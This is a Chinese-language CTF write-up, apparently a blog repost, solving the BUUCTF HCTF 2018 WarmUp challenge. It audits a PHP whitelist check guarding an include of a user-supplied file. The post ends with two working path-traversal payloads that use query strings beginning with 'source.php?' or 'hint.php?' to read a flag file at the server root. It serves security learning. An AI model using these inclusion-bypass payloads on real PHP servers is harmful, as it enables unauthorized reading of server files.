3.[BUUCTF HCTF 2018]WarmUp1

发布时间:2023年12月22日

1.看题目提示分析题目内容

盲猜一波~ : 是关于PHP代码审计的

2.打开链接,分析题目

给你提示了我们访问source.php来看一下

大boss出现,开始详细手撕~

3.手撕PHP代码(代码审计)

本人是小白,所以第一步,先问chatGPT的意见:

这个主要是对class? emmm类的分析,然后还有后面的三个&& 条件判断:

结合代码去理解GPT给的解释,就可以很容易形成一个思路:

重点在:

 if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

输入一个包含flag文件的文件名作为请求头,然后再检查该请求文件经过checkFile检查(是否为白名单的文件,是的话就检查通过;不是的话,检查失败,输出你亲爱的滑稽),检查成功,得到flag。

4.开始解题

有点可疑,去看一下

这有一个点,flag在ffffllllaaaagggg:记住遇到这样的,一般情况下这个文件存储在linux服务器的根目录下,需要去获得其内容。

../../../../../../../../../../ffffllllaaaagggg
(../那么多是为了确保能够返回根目录)

大概意思是source.php文件检查之后,请求文件会被替换成../../../../../../../ffffllllaaaagggg,作为路径遍历攻击。

EXP

在source.ph 文件中,为file进行赋值,赋值内容为whitelist的内容,再被替换成我们的路径遍历攻击,夺旗成功。

因为whiteList中有两个已知的白名单文件:source.php & hint.php

所以有两个解法:

source.php?file=source.php?/../../../../../../../../../ffffllllaaaagggg
source.php?file=hint.php?/../../../../../../../../../ffffllllaaaagggg

文章来源:https://blog.csdn.net/2203_75523573/article/details/135160302
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。